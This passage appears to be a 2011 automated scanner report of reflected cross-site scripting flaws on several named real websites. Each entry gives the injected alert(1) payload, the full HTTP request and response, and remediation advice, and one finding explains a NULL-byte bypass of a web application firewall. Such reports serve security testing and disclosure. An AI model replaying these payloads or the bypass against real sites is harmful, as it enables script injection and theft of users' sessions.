HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:31:06 GMT Server: Apache/2.2.20 Content-Length: 82 Content-Type: text/html
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 644a0<script>alert(1)</script>2d5a936df57 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /templates/PlanSwift_Template644a0<script>alert(1)</script>2d5a936df57/favicon.ico HTTP/1.1 Host: www.planswift.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 68236d4ee32ab7678c69c50cb45eafc1=1f1e3c7df635d7c3c6fd020449016e4e; WRUID=0
Response
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:31:08 GMT Server: Apache/2.2.20 Content-Length: 82 Content-Type: text/html
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 448e9<a>35f31a5fecc was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /templates/PlanSwift_Template/favicon.ico448e9<a>35f31a5fecc HTTP/1.1 Host: www.planswift.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 68236d4ee32ab7678c69c50cb45eafc1=1f1e3c7df635d7c3c6fd020449016e4e; WRUID=0
Response
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:31:10 GMT Server: Apache/2.2.20 Content-Length: 60 Content-Type: text/html
The value of the client_id request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4970c"%3balert(1)//029099777b was submitted in the client_id parameter. This input was echoed as 4970c";alert(1)//029099777b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /landing.js?client_id=38034970c"%3balert(1)//029099777b HTTP/1.1 Host: www.sayutracking.co.uk Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.fireandsafetycentre.co.uk/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the adults request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83537"><script>alert(1)</script>1bd048d2213 was submitted in the adults parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the adults request parameter is copied into the HTML document as plain text between tags. The payload 37d22<script>alert(1)</script>5b1fce3fc8d was submitted in the adults parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the kids request parameter is copied into the HTML document as plain text between tags. The payload 8b41e<script>alert(1)</script>e1507410506 was submitted in the kids parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the kids request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6892e"><script>alert(1)</script>a3ee92cd485 was submitted in the kids parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso- ...[SNIP]... <input name="hidquerystring" type="hidden" value="checkin_day=01&checkin_month=10&checkin_year=2011&checkout_day=04&checkout_month=10&checkout_year=2011&adults=1&kids=06892e"><script>alert(1)</script>a3ee92cd485&sleeps=7&search.x=17&search.y=4&search=search"> ...[SNIP]...
2.184. http://www.staydublin.com/results.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.staydublin.com
Path:
/results.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 58331"><script>alert(1)</script>5926df92112 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the search request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6306e"><script>alert(1)</script>c53841655dc was submitted in the search parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the search.x request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3c4f6"><script>alert(1)</script>98ee86f226 was submitted in the search.x parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the search.y request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4cdf7"><script>alert(1)</script>72bc7c3e2cd was submitted in the search.y parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the sleeps request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29049"><script>alert(1)</script>9794c75943b was submitted in the sleeps parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso- ...[SNIP]... <input name="hidquerystring" type="hidden" value="checkin_day=01&checkin_month=10&checkin_year=2011&checkout_day=04&checkout_month=10&checkout_year=2011&adults=1&kids=0&sleeps=729049"><script>alert(1)</script>9794c75943b&search.x=17&search.y=4&search=search"> ...[SNIP]...
2.189. http://www.trails.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.trails.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f7e13'-alert(1)-'f0f19caf64d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?f7e13'-alert(1)-'f0f19caf64d=1 HTTP/1.1 Host: www.trails.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp?c1=16&c2=107 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Content-Length: 81093 Date: Fri, 30 Sep 2011 13:13:06 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphpr ...[SNIP]... ://cdn-www.trails.com', jscdn: 'http://cdn-www.trails.com', logout: 'https://ssl.trails.com/logout.aspx', login: 'https://ssl.trails.com/login.aspx?r=http%3a%2f%2fwww.trails.com%2f%3ff7e13'-alert(1)-'f0f19caf64d%3d1', signup: 'https://ssl.trails.com/subscribe.aspx', account: 'https://ssl.trails.com/myaccount/', profile: 'http://www.trails.com/mytrails/?p=profile' }, user: { n ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 73a3e'-alert(1)-'3341c3d72cf was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /activities.aspx73a3e'-alert(1)-'3341c3d72cf HTTP/1.1 Host: www.trails.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 23137 Expires: Fri, 30 Sep 2011 13:17:44 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Fri, 30 Sep 2011 13:17:44 GMT Connection: close
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5c823'-alert(1)-'7b4dfcd18e4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mytrails5c823'-alert(1)-'7b4dfcd18e4/ HTTP/1.1 Host: www.trails.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 23127 Vary: Accept-Encoding Date: Fri, 30 Sep 2011 13:17:42 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphpr ...[SNIP]... .trails.com', jscdn: 'http://cdn-www.trails.com', logout: 'https://ssl.trails.com/logout.aspx', login: 'https://ssl.trails.com/login.aspx?r=http%3a%2f%2fwww.trails.com%3a80%2fmytrails5c823'-alert(1)-'7b4dfcd18e4%2f', signup: 'https://ssl.trails.com/subscribe.aspx', account: 'https://ssl.trails.com/myaccount/', profile: 'http://www.trails.com/mytrails/?p=profile' }, user: { na ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a7b66'-alert(1)-'63ab587bc78 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /national-park-trails.aspxa7b66'-alert(1)-'63ab587bc78 HTTP/1.1 Host: www.trails.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 23157 Expires: Fri, 30 Sep 2011 13:17:51 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Fri, 30 Sep 2011 13:17:51 GMT Connection: close
2.193. http://www.trails.com/national-park-trails.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.trails.com
Path:
/national-park-trails.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6ad8a'-alert(1)-'5b5fbeadc89 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /national-park-trails.aspx?6ad8a'-alert(1)-'5b5fbeadc89=1 HTTP/1.1 Host: www.trails.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Date: Fri, 30 Sep 2011 13:17:49 GMT Connection: close Connection: Transfer-Encoding Content-Length: 34057
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphpr ...[SNIP]... jscdn: 'http://cdn-www.trails.com', logout: 'https://ssl.trails.com/logout.aspx', login: 'https://ssl.trails.com/login.aspx?r=http%3a%2f%2fwww.trails.com%2fnational-park-trails.aspx%3f6ad8a'-alert(1)-'5b5fbeadc89%3d1', signup: 'https://ssl.trails.com/subscribe.aspx', account: 'https://ssl.trails.com/myaccount/', profile: 'http://www.trails.com/mytrails/?p=profile' }, user: { n ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5acdf'-alert(1)-'647e96911fa was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /recent_reviews.aspx5acdf'-alert(1)-'647e96911fa HTTP/1.1 Host: www.trails.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 23145 Expires: Fri, 30 Sep 2011 13:18:05 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Fri, 30 Sep 2011 13:18:05 GMT Connection: close
2.195. http://www.trails.com/recent_reviews.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.trails.com
Path:
/recent_reviews.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dd25e'-alert(1)-'17cea06c3f9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /recent_reviews.aspx?dd25e'-alert(1)-'17cea06c3f9=1 HTTP/1.1 Host: www.trails.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Date: Fri, 30 Sep 2011 13:17:58 GMT Connection: close Connection: Transfer-Encoding Content-Length: 184717
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphpr ...[SNIP]... om', jscdn: 'http://cdn-www.trails.com', logout: 'https://ssl.trails.com/logout.aspx', login: 'https://ssl.trails.com/login.aspx?r=http%3a%2f%2fwww.trails.com%2frecent_reviews.aspx%3fdd25e'-alert(1)-'17cea06c3f9%3d1', signup: 'https://ssl.trails.com/subscribe.aspx', account: 'https://ssl.trails.com/myaccount/', profile: 'http://www.trails.com/mytrails/?p=profile' }, user: { n ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9e66c'-alert(1)-'09e08e7af5f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tcatalog_trail.aspx9e66c'-alert(1)-'09e08e7af5f HTTP/1.1 Host: www.trails.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 23145 Expires: Fri, 30 Sep 2011 13:17:46 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Fri, 30 Sep 2011 13:17:46 GMT Connection: close
2.197. http://www.trails.com/tcatalog_trail.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.trails.com
Path:
/tcatalog_trail.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bb381'-alert(1)-'d261f09fdee was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tcatalog_trail.aspx?bb381'-alert(1)-'d261f09fdee=1 HTTP/1.1 Host: www.trails.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Date: Fri, 30 Sep 2011 13:17:43 GMT Connection: close Connection: Transfer-Encoding Content-Length: 49858
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphpr ...[SNIP]... om', jscdn: 'http://cdn-www.trails.com', logout: 'https://ssl.trails.com/logout.aspx', login: 'https://ssl.trails.com/login.aspx?r=http%3a%2f%2fwww.trails.com%2ftcatalog_trail.aspx%3fbb381'-alert(1)-'d261f09fdee%3d1', signup: 'https://ssl.trails.com/subscribe.aspx', account: 'https://ssl.trails.com/myaccount/', profile: 'http://www.trails.com/mytrails/?p=profile' }, user: { n ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4351f'-alert(1)-'ccbc4419657 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /trailfinder4351f'-alert(1)-'ccbc4419657/browsebymap/ HTTP/1.1 Host: www.trails.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 23159 Vary: Accept-Encoding Date: Fri, 30 Sep 2011 13:17:52 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphpr ...[SNIP]... ails.com', jscdn: 'http://cdn-www.trails.com', logout: 'https://ssl.trails.com/logout.aspx', login: 'https://ssl.trails.com/login.aspx?r=http%3a%2f%2fwww.trails.com%3a80%2ftrailfinder4351f'-alert(1)-'ccbc4419657%2fbrowsebymap%2f', signup: 'https://ssl.trails.com/subscribe.aspx', account: 'https://ssl.trails.com/myaccount/', profile: 'http://www.trails.com/mytrails/?p=profile' }, us ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3283e'-alert(1)-'b479ae14a0b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /trailfinder/browsebymap3283e'-alert(1)-'b479ae14a0b/ HTTP/1.1 Host: www.trails.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 23159 Vary: Accept-Encoding Date: Fri, 30 Sep 2011 13:17:53 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphpr ...[SNIP]... jscdn: 'http://cdn-www.trails.com', logout: 'https://ssl.trails.com/logout.aspx', login: 'https://ssl.trails.com/login.aspx?r=http%3a%2f%2fwww.trails.com%3a80%2ftrailfinder%2fbrowsebymap3283e'-alert(1)-'b479ae14a0b%2f', signup: 'https://ssl.trails.com/subscribe.aspx', account: 'https://ssl.trails.com/myaccount/', profile: 'http://www.trails.com/mytrails/?p=profile' }, user: { na ...[SNIP]...
2.200. http://www.trails.com/trailfinder/browsebymap/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.trails.com
Path:
/trailfinder/browsebymap/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 80017'-alert(1)-'814db0e1e2c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /trailfinder/browsebymap/?80017'-alert(1)-'814db0e1e2c=1 HTTP/1.1 Host: www.trails.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Date: Fri, 30 Sep 2011 13:17:49 GMT Connection: close Connection: Transfer-Encoding Content-Length: 60116
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphpr ...[SNIP]... jscdn: 'http://cdn-www.trails.com', logout: 'https://ssl.trails.com/logout.aspx', login: 'https://ssl.trails.com/login.aspx?r=http%3a%2f%2fwww.trails.com%2ftrailfinder%2fbrowsebymap%2f%3f80017'-alert(1)-'814db0e1e2c%3d1', signup: 'https://ssl.trails.com/subscribe.aspx', account: 'https://ssl.trails.com/myaccount/', profile: 'http://www.trails.com/mytrails/?p=profile' }, user: { n ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 96fa2'-alert(1)-'c844be0f41c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?ad_type=iframe&ad_size=728x90§ion=217835 HTTP/1.1 Host: ad.thewheelof.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?hl=en&q=96fa2'-alert(1)-'c844be0f41c Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Content-Type: text/html; charset=utf-8 Date: Fri, 30 Sep 2011 13:14:08 GMT Content-Length: 594
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %00c676f'-alert(1)-'09ea5d901c1 was submitted in the Referer HTTP header. This input was echoed as c676f'-alert(1)-'09ea5d901c1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 12ed1<script>alert(1)</script>14082b33a19 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload b7e22><script>alert(1)</script>23a8b1363d7 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload e2bcb><script>alert(1)</script>92b049a4dc1 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
The value of the SWIFT_client cookie is copied into the HTML document as plain text between tags. The payload 744c0<script>alert(1)</script>f57df5bbdea was submitted in the SWIFT_client cookie. This input was echoed unmodified in the application's response.
